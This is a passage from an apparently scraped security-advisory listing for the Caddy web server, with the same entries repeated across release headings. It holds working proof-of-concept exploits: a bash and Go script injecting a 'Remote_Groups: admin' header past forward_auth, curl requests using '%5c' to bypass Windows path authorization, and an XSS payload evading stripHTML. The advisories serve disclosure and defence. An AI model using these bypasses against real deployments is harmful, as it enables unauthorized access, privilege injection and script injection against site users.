		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 05, 2019

v0.11.2 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 16, 2019

v0.11.1 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 12, 2018

v0.11.0 minor

5 CVEs

